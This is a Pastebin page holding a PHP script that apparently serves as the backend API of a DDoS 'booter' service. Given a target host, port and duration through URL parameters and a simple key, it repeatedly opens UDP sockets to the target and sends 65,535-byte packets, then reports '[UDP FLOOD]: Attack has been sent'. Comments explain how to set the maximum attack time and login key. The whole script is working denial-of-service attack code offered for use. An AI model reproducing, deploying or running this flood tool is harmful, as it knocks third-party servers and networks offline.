Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php #$_GET Requests
- $apikey = $_GET['apikey'];
- $host = $_GET['host'];
- $port = $_GET['port'];
- $exec_time = $_GET['time'];
- $method = $_GET['method'];
- #DDoS Info
- $max_boot_time = "7001"; #Change to desired max boot time, then +1. Example: 5000, make it 5001. ** DO NOT ADD QUOTATION MARKS(,) **
- $max_boot_time_show = "7,600 seconds."; #Change this to the desired max boot time you already picked above. Do not remove (seconds.).
- $key = "rp"; #Change this with your desired login key.
- $time = time();
- $max_time = $time + $exec_time;
- $packets = 0;
- #Script Settings
- set_time_limit(0);
- ignore_user_abort(FALSE);
- #API Verification
- if ($apikey == null) {
- ob_end_clean();
- echo 'Enter your API Key.';
- } else {
- }
- #Main
- if ($apikey == $key) {
- if ($host == null) {
- echo "Invalid Format: Enter a host.</br>Format:?api=123&host=127.0.0.1&port=80&time=10";
- } else {
- if ($port == null) {
- echo "Invalid Format: Enter a port.</br>Format:?api=123&host=127.0.0.1&port=80&time=10";
- } else {
- if ($time == null) {
- echo "Invalid Format: Enter boot time.</br>Format:?api=123&host=127.0.0.1&port=80&time=10";
- } else {
- if ($exec_time >= $max_boot_time) {
- echo 'Your max boot time is ' . $max_boot_time_show . '';
- } else {
- for ($i = 0; $i < 65535; $i++) {
- $out .= "X";
- }
- while (1) {
- $packets++;
- if (time() > $max_time) {
- break;
- }
- $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
- if ($fp) {
- fwrite($fp, $out);
- fclose($fp);
- }
- }
- echo '[UDP FLOOD]: Attack has been sent to ' . $host . ' for ' . $exec_time . ' second(s).';
- }
- }
- }
- }
- } else {
- echo 'Invalid API Key';
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement